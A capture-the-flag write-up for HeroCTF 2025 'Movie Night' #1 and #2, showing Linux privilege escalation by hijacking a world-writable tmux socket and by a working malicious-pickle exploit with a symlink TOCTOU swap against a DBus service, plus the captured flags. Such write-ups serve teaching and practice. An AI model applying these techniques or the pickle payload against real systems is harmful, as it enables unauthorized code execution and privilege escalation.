//HeroCTF 2025: Movie Night #1 & #2 Writeup
Category: System / Privilege Escalation Author: Log_s Difficulty: Very Easy / Hard
>Introduction
The "Movie Night" series consists of two system challenges that require Linux enumeration and privilege escalation. Starting with basic SSH access, we move from exploiting a misconfigured tmux session to a complex Time-of-Check Time-of-Use (TOCTOU) attack on a custom Python DBus service.
>Movie Night #1
Hint: "Something has attached itself to him. We have to get him to the infirmary right away." - Alien (1979)
1. Reconnaissance
We are provided with SSH credentials (user:password) for dyn02.heroctf.fr. After logging in, we perform standard enumeration to identify running processes and potential attack vectors.
The hint "attached" strongly suggests looking for terminal multiplexers like screen or tmux.
user@movie_night:~$ ps aux | grep -E "screen|tmux"
dev 32 0.0 0.0 4548 3276 ? Ss 13:33 0:00 tmux -S /tmp/tmux-1002 new-session -d -s work bash
We identify a tmux session named work running as the user dev. The socket is located at /tmp/tmux-1002.
2. Vulnerability Analysis
For a user to attach to a tmux session, they need read/write permissions on the socket file. We check the permissions of the identified socket:
user@movie_night:~$ ls -la /tmp/tmux-1002
srw-rw-rw- 1 dev dev 0 Nov 29 13:33 /tmp/tmux-1002
The socket is world-writable (rw-rw-rw-). This is a critical misconfiguration, allowing any user on the system to attach to the session and control the dev user's terminal.
3. Exploitation
We attach to the session using the -S flag to specify the socket path:
user@movie_night:~$ tmux -S /tmp/tmux-1002 attach -t work
This immediately drops us into a shell as dev.
4. Flag Retrieval
Now running as dev, we can read the flag:
dev@movie_night:~$ cat /home/dev/flag.txt
Hero{1s_1t_tmux_0r_4l13n?_a20bac4b5aa32e8d9a8ccb75d228ca3e}
>Movie Night #2
Hint: "If it drops below 50, it blows up." - Speed (1994)
1. Initial Access
We connect to the new host dyn08.heroctf.fr. Since the environment is similar, we check if the tmux vulnerability persists. Indeed, the same misconfiguration exists, allowing us to escalate to dev immediately using the same method as before.
2. Reconnaissance
As dev, we explore the home directory and find a procservice_src folder containing the source code for a custom service.
dev@movie_night:~$ ls -R /home/dev/procservice_src
...
procedure-processing-service.py
lib/utils.py
lib/load_pickle.py
...
We also notice a process running as root:
root 24 ... /root/process_monitor
And the service logs indicate it's a DBus service named com.system.ProcedureService.
3. Source Code Analysis
The service procedure-processing-service.py exposes two main methods via DBus:
-
RegisterProcedure(name, serialized_code):- Takes a name and base64-encoded data.
- Decodes the data and saves it to
/var/procedures/<uuid>_<name>.pkl. - Sets the file owner to the caller's UID (in our case,
devoruser).
-
ExecuteProcedure(name):- Locates the pickle file for the given name.
- Step A: Unpickles the file using
unpickle_file(filepath). - Step B: Checks the file owner using
os.stat(filepath).st_uid. - Step C: Executes the unpickled object using
execute_as_user(obj, file_owner_uid).
Vulnerability 1: Insecure Deserialization
The unpickle_file function (in lib/utils.py) executes a helper script load_pickle.py as the user dbus-service via sudo.
//lib/load_pickle.py
obj = pickle.loads(data)
print(obj)
pickle.loads is inherently insecure. By crafting a malicious pickle, we can execute arbitrary code when it is unpickled. Since load_pickle.py runs as dbus-service, we gain Remote Code Execution (RCE) as that user.
Vulnerability 2: Time-of-Check Time-of-Use (TOCTOU)
The ExecuteProcedure method has a critical race condition:
//procedure-processing-service.py
//1. Unpickle (Vulnerable to RCE as dbus-service)
obj_repr, error = unpickle_file(filepath)
//...
//2. Check Ownership
file_stat = os.stat(filepath)
file_owner_uid = file_stat.st_uid
//3. Execute as Owner
result = execute_as_user(obj_repr, file_owner_uid)
The service unpickles the file before checking who owns it. Furthermore, execute_as_user executes the code as the file owner.
If we can change the file (or replace it) between Step 1 and Step 2, we can trick the service. specifically, if we replace our pickle file with a symlink to a file owned by admin (like /home/admin/flag.txt), os.stat will follow the symlink and see admin as the owner. The service will then execute our payload as admin.
4. Exploit Strategy
We need a payload that does two things:
- During Unpickling (as
dbus-service): Delete the original pickle file and replace it with a symlink to/home/admin/flag.txt. - As the Return Value: Return a Python command that prints the flag. This command will be passed to
execute_as_userand run asadmin.
The Attack Flow:
- Register a malicious pickle.
- Call
ExecuteProcedure. unpickle_filetriggers. Our payload executes:rm /var/procedures/*_pwn.pklln -s /home/admin/flag.txt /var/procedures/*_pwn.pkl
unpickle_filereturns the string'print(open("/home/admin/flag.txt").read())'.- The service calls
os.stat. It follows the symlink to/home/admin/flag.txt. os.statreports the owner isadmin.- The service calls
execute_as_user('print(...)', admin_uid). - We get the flag!
5. The Exploit Script
We use Python's __reduce__ method to define the malicious behavior during unpickling. We use eval to execute a complex expression that performs the file swap (using exec) and returns the payload string.
import pickle
import os
import glob
import dbus
import base64
class Exploit(object):
def __reduce__(self):
# 1. The code to swap the file (runs as dbus-service)
swap_code = "import os, glob; files = glob.glob('/var/procedures/*_pwn.pkl'); os.remove(files[0]); os.symlink('/home/admin/flag.txt', files[0])"
# 2. The expression to evaluate
# exec() returns None. 'string' is truthy.
# "exec(swap) or 'payload'" ensures swap runs, then 'payload' is returned.
expr = f"exec(\"{swap_code}\") or 'print(open(\"/home/admin/flag.txt\").read())'"
return (eval, (expr,))
//Create and serialize the payload
payload = pickle.dumps(Exploit())
serialized = base64.b64encode(payload).decode()
//Connect to DBus
bus = dbus.SystemBus()
service = bus.get_object('com.system.ProcedureService', '/com/system/ProcedureService')
interface = dbus.Interface(service, 'com.system.ProcedureService')
//Register and Execute
print("Registering...")
interface.RegisterProcedure("pwn", serialized)
print("Executing...")
print(interface.ExecuteProcedure("pwn"))
6. Result
Running the exploit on the server:
dev@movie_night:~$ python3 exploit.py
Registering...
Executing...
Hero{d0ubl3_rc3_ftw_ad57172613c7d5403a671fd7878a659d}
We successfully escalated privileges from user -> dev -> dbus-service -> admin to capture the flag.